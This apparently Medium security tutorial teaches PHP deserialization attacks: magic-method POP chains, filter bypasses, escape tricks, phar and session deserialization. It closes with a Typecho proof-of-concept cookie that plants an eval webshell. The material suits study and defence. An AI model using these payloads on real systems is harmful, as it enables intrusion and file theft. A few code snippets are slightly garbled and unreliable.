The Various Utilization Methods of PHP Serialization & Deserialization

Serialize() & Unserialize()

Php Deserialization

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

Example

<?php class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
<?php
class test{
public $a;
public $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

Deserialization Vulnerabilities and Magic Methods

__wakeup() // While executing unserialize(), this function will be called first
__sleep() // When serialize() excuted,this function will be called first
__destruct() // Trigger when the object is destroyed
__call() // Triggered when an inaccesible method is called in the object context
__callStatic() // Triggered when an inaccesible method is called in a static context
__get() // This method is called for reading data from inaccesible properties or if the key doesn't exist
__set() // Use to write data to inaccesible properties
__isset() // Triggered by calling isset() or empty() on an inaccesible property
__unset() // Triggered when unset() is used on a inaccesible property
__toString() // Triggered when the class is used as a string
__invoke() // Triggered when trying to call an object as a function
__construct() // Triggered when the object is created

Deserialization Exploit (Bypass)

<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

Final Payload:

<?php
class FileHandler {
public $op=2;
public $filename="/var/www/html/flag.php";
public $content;
}
$a=new FileHandler;
echo serialize($a);

?>

Bypass Some Regex

Use the plus sign to bypass

$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; 
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));

Serialize(array(a))

serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){

if($this->a===$this->b){
echo 666;
}
}

}
$a = serialize(new test());

Hexadecimal Bypass Character Filtering

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
can be written as
O:4:"test":2:{S:4:"�0*�061";s:3:"abc";s:7:"%00test%00b";s:3:"def";}When the s representing the character type is capitalized, it will be parsed as hexadecimal.

Deserialization Character Escape

<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "deserialize string:";
var_dump(serialize($arr));
echo "<br/>";
echo "at this time:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>at this time,age=$new[1]";
name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}(20 characters)
name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}
name=maoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)
";i:1;s:6:"woaini";}
i:1;s:6:"woaini";

Example: Deserialization character less escape case

<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "deserialize string:";
var_dump(serialize($arr));
echo "<br/>";
echo "after filtering:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>at this time,age=";
echo $new['age'];
?>

Pre-knowledge: extract() variable coverage

if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);

}
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
<?php
header("Content-type:text/html;charset=utf-8");

echo "Before adding the attribute img";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "After adding the attribute img";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

Object Injection

<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

Deserialize POP Chain Construct

__wakeup() // While executing unserialize(), this function will be called first
__sleep() // When serialize() excuted,this function will be called first
__destruct() // Trigger when the object is destroyed
__call() // Triggered when an inaccesible method is called in the object context
__callStatic() // Triggered when an inaccesible method is called in a static context
__get() // This method is called for reading data from inaccesible properties or if the key doesn't exist
__set() // Use to write data to inaccesible properties
__isset() // Triggered by calling isset() or empty() on an inaccesible property
__unset() // Triggered when unset() is used on a inaccesible property
__toString() // Triggered when the class is used as a string
__invoke() // Triggered when trying to call an object as a function
__construct() // Triggered when the object is created
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
public function __toString(){
return $this->str->source;
}
unserialize()-->wakeup()-->construct()-->tostring()-->get()-->invoke()-->append()-->include()
<?phpclass Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
$this->str =new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier;
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
?>

PHP Native Class Deserialization Utilization

SoapClient Deserialization

phar deserialization

Stream Wrapper

file:// — access the localsystem, this wrapper is used by default when using filesystem functions
http:// — access HTTP(s) URLS
ftp:// — access FTP(s) URLs
php:// — access to various(I/O streams)
zlib:// — compressed stream
data:// — data(RFC 2397)
glob:// — finding match
phar:// — PHP archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — audio stream
expect:// — handle interactive streams

phar format

<?php
class Test {//customize
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //The suffix must be phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //set up stub
$o = new Test();
$phar->setMetadata($o); //Store custom meta-data in manifest
$phar->addFromString("test.txt", "test"); //Add files to compress
//Signature automatic calculation
$phar->stopBuffering();
?>

Exploit Conditions

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //set up stub
2、generate一个phar.phar,Modify the suffix to phar.gif

Session Deserialization

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
session.save_path="" --set up session storage path                                        
session.save_handler=""–Set a user-defined storage function. If you want to use PHP's built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen–Specifies whether the session module starts a session at the beginning of the request. Defaults to 0 and does not start
session.serialize_handler string–Defines the handler name used for serialization/deserialization. Use by default php

Case: Simple use of session deserialization

php_binary: The storage method is, the ASCII character corresponding to the length of the key name + the key name + the value serialized by the serialize() functionphp:The storage method is, key name + vertical bar + value processed by serialize() function sequencephp_serialize(php>5.5.4):The storage method is that the value serialized by the serialize() function

Sample Source Code

<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name."!";
}
}
?>

Attack Idea:

<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->name = "daye";
$a->age = "100";
echo serialize($a);
?>
O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}
|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

Advanced case: Deserialization attack using session.upload_progress

php5.5.38
win10
session.serialize_handler=php_serialize,
The rest of the session related configuration is the default value
<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle=new TimeNow();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "time of your visit:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
$this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
}
function action() {
eval($this->ip);
}
}
?>

Typecho Deserialization Vulnerability Recurrence

Vulnerability introduction and reproduction

POC

Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php

Reference Link

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.